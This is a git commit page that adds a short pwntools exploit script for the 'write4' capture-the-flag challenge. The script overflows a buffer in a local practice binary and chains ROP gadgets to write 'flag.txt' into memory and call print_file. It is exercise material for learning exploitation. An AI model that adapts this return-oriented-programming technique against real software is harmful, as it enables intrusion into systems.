diff options
author | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 17:45:09 -0600 |
---|---|---|
committer | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 17:45:09 -0600 |
commit | 3f0a1e64c7e7b410ad5f4e2024cd692536389449 (patch) | |
tree | 6474bed612527dd0ca7bc9d2f7096769fd212d14 /x86_64/write4/exploit.py | |
parent | 2ddedfeb9199c2ff01b540edf92a4f7d69455c16 (diff) |
new file: x86_64/write4/exploit.py
new file: x86_64/write4/useful_gadgets
Diffstat (limited to 'x86_64/write4/exploit.py')
-rwxr-xr-x | x86_64/write4/exploit.py | 19 |
1 files changed, 19 insertions, 0 deletions
diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py new file mode 100755 index 0000000..f8b294e --- /dev/null +++ b/x86_64/write4/exploit.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +from pwn import * + +prog = process('./write4') +payload = b'' +for c in range(40): + payload += b'a' + +payload += p64(0x0000000000400690) # pop r14, pop r15, ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += b"flag.txt" # our string (duh) +payload += p64(0x0000000000400628) # mov qword ptr [r14], r15 ; ret +payload += p64(0x0000000000400693) # pop rdi; ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += p64(0x0000000000400510) # print_file@plt +payload += b"\n" +prog.sendline(payload) +print(str(prog.recv(), 'UTF-8')) +prog.close() |